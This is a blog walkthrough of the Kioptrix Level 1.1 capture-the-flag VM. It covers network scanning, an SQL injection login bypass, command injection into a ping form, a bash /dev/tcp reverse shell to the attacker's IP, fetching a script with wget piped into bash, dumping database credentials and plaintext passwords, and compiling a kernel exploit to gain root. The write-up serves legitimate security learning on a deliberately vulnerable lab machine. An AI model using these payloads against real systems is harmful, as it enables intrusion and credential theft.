John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

12 minute read

Kioptrix Level 1.1

Name       : Kioptrix Level 1.1 (#2)
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        : https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
Entry      : 4 / 30

Welcome to the walkthrough for Kioptrix Level 1.1 (#2), a boot2root CTF found on VulnHub. This is the fourth VM in my VulnHub Challenge! This is the second VM in a family of CTF challenges on VulnHub called Kioptrix. This series is considered a great starting point for CTFs in the boot2root family. The naming convention is a bit weird with the subsequent VMs in this series, since they are numbered as 1.1, 1.2, etc., but are actually the second, third, etc. VMs. Oh well, they’re still fun to do.

Goal

Get to root. It will all be clear soon enough.

Setup

I’m using VMWare Workstation Player to host Kali and the Kioptrix Level 1.1 (#2) image, with both VMs running in a bridged network. I’m using bridged because I couldn’t get the NAT setting to work with Kioptrix, and it’s killing me. To compensate, I’ve moved my machine to a guest network on my router to help simplify things.

Discovery

I use netdiscover to search for the IP address of the Kioptrix Level 2 VM:

root@dante:~# netdiscover -r 192.168.86.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.86.1    70:3a:cb:43:5b:26      1      60  Google, Inc.
 192.168.86.29   70:3a:cb:43:5a:ce      1      60  Google, Inc.
 192.168.86.37   00:0c:29:29:06:da      1      60  VMware, Inc.
 192.168.86.32   70:3a:cb:3b:5c:fa      1      60  Google, Inc.

So it looks like 192.168.86.37 is our target.

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.86.37
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 19:40 EDT
Nmap scan report for 192.168.86.37
Host is up (0.0023s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
631/tcp  open  ipp
3306/tcp open  mysql
MAC Address: 00:0C:29:29:06:DA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
root@dante:~#
root@dante:~# nmap -sC -sV -p22,80,111,443,631,3306 192.168.86.37
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 19:41 EDT
Nmap scan report for 192.168.86.37
Host is up (0.00045s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            794/udp  status
|_  100024  1            797/tcp  status
443/tcp  open  ssl/https?
|_ssl-date: 2019-08-09T20:32:13+00:00; -3h09m22s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
631/tcp  open  ipp        CUPS 1.1
| http-methods:
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open  mysql      MySQL (unauthorized)
MAC Address: 00:0C:29:29:06:DA (VMware)

Host script results:
|_clock-skew: mean: -3h09m22s, deviation: 0s, median: -3h09m22s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.19 seconds

So it looks like some interesting ports are available! Let me start off by reviewing the website and see what’s being served up:

Kioptrix 1.1 Homepage

Ah, a nice simple login screen! I can work with this.


Note: I did try browsing to the HTTPS version of the site as well, but I couldn’t get Firefox or curl to connect. Something to do with the SSL certificate, which may be a possible vulnerability or not, I’m not sure. I didn’t spend a lot of time there since I found another approach, but I would be curious if anyone else did manage to get this to work and/or found it to be another vulnerability on this machine. I did run sslyze --regular 192.168.86.37, but nothing stuck out at me (aside from SSLv2 and SSLv3 support).


Let me check the source using curl:

root@dante:~# curl http://192.168.86.37
<html>
<body>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
        <table width="300" border="1" align="center" cellpadding="2" cellspacing="2">
                <tr>
                        <td colspan='2' align='center'>
                        <b>Remote System Administration Login</b>
                        </td>
                </tr>
                <tr>
                        <td width="150">Username</td>
                        <td><input name="uname" type="text"></td>
                </tr>
                <tr>
                        <td width="150">Password</td>
                        <td>
                        <input name="psw" type="password">
                        </td>
                </tr>
                <tr>
                        <td colspan="2" align="center">
                        <input type="submit" name="btnLogin" value="Login">
                        </td>
                </tr>
        </table>
</form>

<!-- Start of HTML when logged in as Administator -->
</body>
</html>

Interesting! There’s mention of an Administrator user! I’ll see if I can log in with that user.

Web Attacks

So we have a login screen. Great, let me try some usual username/passwords combinations:

  • Administrator/admin
  • Administrator/Administrator
  • Administrator/password
  • Administrator/kioptrix

No luck with any of those combinations. Well, what about a SQL injection attack? I use Administrator for the username, and ' or 1=1 -- - as the password:

Logged In with SQLi

Success! So what exactly does this thing do? Well, it’s asking me for an IP address, so I give it one that I know will work, namely 127.0.0.1:

Ping It Page

Ah, so it opens up another page and seems to run a ping command. The first thing that comes to mind is that this may be susceptible to a command injection attack!

Ping It Page - Injected

Yes. Yes it is. As you can see above, I sent in the string 127.0.0.1 ; whoami as my input, and right as rain it chained my whoami call to the result, giving me the answer I was looking for - apache.

More Injection Fun

I try a few more commands, like which nc and which python to get an idea on what I’m dealing with. The python command is available, but nc is not. No problem, off to the trusty Pentest Monkey Reverse Shell Cheat sheet to find a nice one-liner I can use.

Reverse Shell

I go with the Bash example from Pentest Monkey and setup a nc listener on my attacking machine via nc -nvlp 9001. I used the string 127.0.0.1 ; bash -i >& /dev/tcp/192.168.86.35/9001 0>&1 for the IP address to ping on the PHP page, and I end up with a nice shell:

root@dante:~# nc -nvlp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.86.37.
Ncat: Connection from 192.168.86.37:51104.
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$ pwd
/var/www/html
bash-3.00$ ls
index.php
pingit.php
bash-3.00$

And there you have it! I’ve logged in as the apache user via a reverse shell created through command injection. Now let’s see if I can escalate to root.

PHP Review

Since I originally logged in via SQL injection, I want to see what the index.php file looks like. I’m expecting SQL in there, so let’s see:

bash-3.00$ cat index.php
<?php
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");

        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."<br>";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";
        }

?>
<html>
<body>
<?php
if ($row['id']==""){
?>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
        <table width="300" border="1" align="center" cellpadding="2" cellspacing="2">
                <tr>
                        <td colspan='2' align='center'>
                        <b>Remote System Administration Login</b>
                        </td>
                </tr>
                <tr>
                        <td width="150">Username</td>
                        <td><input name="uname" type="text"></td>
                </tr>
                <tr>
                        <td width="150">Password</td>
                        <td>
                       <input name="psw" type="password">
                        </td>
                </tr>
                <tr>
                        <td colspan="2" align="center">
                        <input type="submit" name="btnLogin" value="Login">
                        </td>
                </tr>
        </table>
</form>
<?php
        } //END of login form
?>

<!-- Start of HTML when logged in as Administator -->
<?php
        if ($row['id']==1){
?>
        <form name="ping" action="pingit.php" method="post" target="_blank">
                <table width='600' border='1'>
                <tr valign='middle'>
                        <td colspan='2' align='center'>
                        <b>Welcome to the Basic Administrative Web Console<br></b>
                        </td>
                </tr>
                <tr valign='middle'>
                        <td align='center'>
                                Ping a Machine on the Network:
                        </td>
                                <td align='center'>
                                <input type="text" name="ip" size="30">
                                <input type="submit" value="submit" name="submit">
                        </td>
                        </td>
                </tr>
        </table>
        </form>


<?php
}
?>
</body>
</html>

There it is, right at the top! john/hiroshima is the username/password combination for MySQL. I’ll keep that in my back pocket. Next up I want to check the pingit.php file:

bash-3.00$ cat pingit.php
<?php

print $_POST['ip'];
if (isset($_POST['submit'])){
        $target = $_REQUEST[ 'ip' ];
        echo '<pre>';
        echo shell_exec( 'ping -c 3 ' . $target );
        echo '</pre>';
    }
?>

Not much there, but we can see the shell_exec call that allows us to use command injection to do our bidding.

Enumeration

Okay, so now we have a shell. It can be tempting to try all sorts of things at this point, but it’s best to take a deep breath and enumerate first. I use LinEnum.sh for my enumeration on Linux machines, so I’ll do so on this machine as well.


Note: I’ve updated my LinEnum.sh script to force the thorough tests option to always run. For CTFs, I always want the extra output so by forcing it within the script I don’t have to worry about forgetting to set the flag. This makes John a happy man.


I’ll start by hosting the script on Kali using Python’s SimpleHTTPServer:

root@dante:/opt/LinEnum# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Next, I go to my reverse shell on my target machine and use wget to download the script, pipe it to bash, then re-direct the output to /tmp/linenum.txt. This makes things a lot easier to review. I do this because my reverse shell has a strange issue - it won’t display any output from certain commands! Because of that, I decide that file redirection is the way to go.

bash-3.00$ wget -qO - http://192.168.86.35/LinEnum.sh | bash > /tmp/linenum.txt

I use cat to dump the contents of the file and review the output. When I run this script, I’m looking for a few things:

  1. What OS is running?
  2. What users are available?
  3. Do any of them have sudo privileges?
  4. Are there any SUID/SGID binaries?
  5. What files are accessible/writeable to my user that may be interesting?

Here’s what I’ve found out:

  • The system is running CentOS release 4.5 (Final) running Linux version 2.6.9-55.EL.
  • There are two users john and harold who exist on the system.
  • There is an nmap binary that is listed as interesting, but it doesn’t have the SUID bit set.
  • sudo is installed, and there is an /etc/sudoers file (I checked this one manually).

At this point I think it’s time to check what MySQL has to offer.

MySQL Spelunking

Given I’m having difficulty with my shell getting anything interactive to work, I’ll just use the -e flag for the mysql CLI tool to execute my queries. I know from the PHP code I examined earlier that the username/password combination I can use is john/hiroshima, so I’ll do some simple queries to get the lay of the land within MySQL. I tried connecting to MySQL from my attacking machine, but I was rejected. Likely this is due to a configuration for this username.

bash-3.00$ mysql -ujohn -phiroshima -e "SHOW DATABASES;"
Database
mysql
test
webapp

Good start. There is a webapp database that looks interesting, so let me see what tables it has:

bash-3.00$ mysql -ujohn -phiroshima webapp -e "SHOW TABLES;"
Tables_in_webapp
users
bash-3.00$

Just the users table, eh? Alright, what secrets does it hold?

bash-3.00$ mysql -ujohn -phiroshima webapp -e "SELECT * FROM users;"
id      username        password
1       admin   5afac8d85f
2       john    66lajGGbla
bash-3.00$

So there’s a password for john and admin. Earlier when we looked at the index.php file, the SQL just did a simple SELECT from the users table, looking for entries that matched the username and password given. In other words, this is just a straight string comparison, meaning these passwords are not hashed in any way.

Testing the john user via SSH with the passwords from the users table didn’t work. Same for the harold user, so it appears we have a dead end here.

The Nuclear Option

I really don’t like using kernel exploits. They tend to make the system unstable and can potentially crash the system. For a CTF it’s generally okay, but in a real engagement these types of things should be avoided unless they are known to be stable. Generally there are a thousand easier ways to get what you want without going down this route.

However at this point I don’t see another option, so I’ll start by using searchsploit on my Kali machine to look for something that matches our particular target OS, starting with the release of CentOS that we have, CentOS release 4.5 (Final):

root@dante:~# searchsploit "CentOS release 4.5 (Final)"
Exploits: No Result
Shellcodes: No Result
root@dante:~# searchsploit "CentOS release 4.5"
Exploits: No Result
Shellcodes: No Result
root@dante:~# searchsploit "CentOS 4.5"
---------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                        |  Path
                                                                      | (/usr/share/exploitdb/)
---------------------------------------------------------------------- ----------------------------------------
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core | exploits/linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Es | exploits/linux/local/35370.c
---------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@dante:~#

As you can see, I had to be a bit more generic with my search terms to find something. However, it looks like there’s an exploit for this specific version of CentOS! Let me see the details on it:

root@dante:~# searchsploit -x 9542
  Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
      URL: https://www.exploit-db.com/exploits/9542
     Path: /usr/share/exploitdb/exploits/linux_x86/local/9542.c
File Type: C source, ASCII text, with CRLF line terminators

Just what the doctor ordered. Better yet, we also know from our LinEnum.sh output that GCC is available on our target machine, so we can compile this directly on our target.

Exploitation

I copy the exploit code from /usr/share/exploitdb/exploits/linux_x86/local/9542.c and make sure it is hosted by my SimpleHTTPServer that I used earlier for LinEnum.sh, then use wget on my target to download it, compile, and execute:

bash-3.00$ cd /tmp
bash-3.00$ wget -q http://192.168.86.35/9542.c
bash-3.00$ ls
9542.c
linenum.txt
bash-3.00$ gcc -o exploit 9542.c
bash-3.00$ ./exploit
sh: no job control in this shell
sh-3.00# whoami
root
sh-3.00#

I have successfully escalated my privileges and achieved root! Now where’s that flag…

The Flag Is A Lie

I spent some time searching for the flag, looking for it using the following commands:

  • find / -name "flag*"
  • find / -name "*.txt" | xargs grep -il flag
  • grep -il flag /var/spool/mail/*
  • find / -type f | xargs grep -il flag

However I never did find the flag. I will then assume the fact that I managed to escalate to root was the flag itself.

Fin.

comments powered by Disqus

Recent posts

See more

Categories

About

Hi. I'm John, and I'm an Information Security Generalist.